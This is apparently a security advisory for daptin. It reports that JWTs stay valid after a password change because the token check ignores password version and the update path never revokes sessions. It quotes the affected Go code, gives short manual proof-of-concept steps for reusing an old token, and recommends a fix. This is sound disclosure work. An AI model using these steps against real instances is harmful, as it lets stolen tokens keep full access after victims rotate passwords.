Summary

A session invalidation vulnerability exists in daptin's authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (CheckJWT) only verifies token signature, expiry, issuer, and signing algorithm — it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls InvalidateAuthCacheForEmail() and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.

Vulnerable Files

• daptin/server/jwt/jwtmiddleware.go — JWT validation without session versioning
• daptin/server/resource/resource_update.go — password update without session invalidation
• daptin/server/actions/action_generate_jwt_token.go — JWT claims lack password version
• daptin/server/auth/auth.go — InvalidateAuthCacheForEmail exists but not called on update
• daptin/server/resource/columns.go — password change action wiring

Vulnerable Code Snippet

1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):

// Now parse the token
parsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)

// Check if there was an error in parsing...
if err != nil {
    m.logf("Error parsing token: %v", err)
    m.Options.ErrorHandler(w, r, err.Error())
    return nil, fmt.Errorf("Error parsing token: %v", err)
}

if parsedToken.Claims.(jwt.MapClaims)["iss"] != m.Options.Issuer {
    return nil, fmt.Errorf("Invalid issuer: %v", parsedToken.Header["iss"])
}

if m.Options.SigningMethod != nil && m.Options.SigningMethod.Alg() != parsedToken.Header["alg"] {
    // ... algorithm check
}

// Check if the parsed token is valid...
if !parsedToken.Valid {
    m.logf("Token is invalid")
    m.Options.ErrorHandler(w, r, "The token isn't valid")
    return nil, errors.New("Token is invalid")
}

No check exists for password version, session version, or token revocation status. A token issued before a password change passes all these checks identically.

2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):

if col.ColumnType == "password" {
    val, err = BcryptHashString(val.(string))
    if err != nil {
        log.Errorf("Failed to convert string to bcrypt hash, not storing the value: %v", err)
        continue
    }
}

The new bcrypt hash is stored, but no call to auth.InvalidateAuthCacheForEmail() is made, and no token revocation mechanism is triggered.

3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):

token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
    "email": existingUser["email"],
    "sub":   daptinid.InterfaceToDIR(existingUser["reference_id"]).String(),
    "name":  existingUser["name"],
    "nbf":   timeNow.Unix(),
    "exp":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),
    "iss":   d.jwtTokenIssuer,
    "iat":   timeNow.Unix(),
    "jti":   u.String(),
})

Claims include email, sub, name, nbf, exp, iss, iat, jti — but no pwd_version or equivalent claim that could be compared against a server-side value during validation.

4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):

func InvalidateAuthCacheForEmail(email string) {
    if olricCache == nil {
        return
    }
    _, err := olricCache.Delete(context.Background(), email)
    if err != nil {
        log.Warnf("failed to invalidate auth cache for %s: %v", email, err)
    }
}

This function is called in resource_create.go:470, resource_delete.go:73, and dbmethods.go:1194 — but never in resource_update.go, which is the code path for password changes.

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account on the daptin instance
2. Sign in and capture the JWT (this becomes the "stolen" token)
3. Change the user's password via PATCH /api/user_account/{id}
4. Reuse the original JWT — it still returns HTTP 200 with full data access
5. Confirm the old password no longer works for new login (password did change)
6. Confirm the old token still allows write operations (full CRUD retained)

Result: HTTP 200 — write operations also succeed with the old token.

  Missing: pwd_version / session_version claim
  Missing: token revocation on password change

Recommended Fix

1. Add a password_version column to the user_account table (integer, incremented on each password change)
2. Include pwd_version in JWT claims at token generation time (action_generate_jwt_token.go:74)
3. Check pwd_version during validation in CheckJWT() (jwtmiddleware.go:232-260) — compare the claim value against the current database value; reject if mismatched
4. Call InvalidateAuthCacheForEmail() in resource_update.go when a password column is updated, to force the auth cache to re-fetch user state
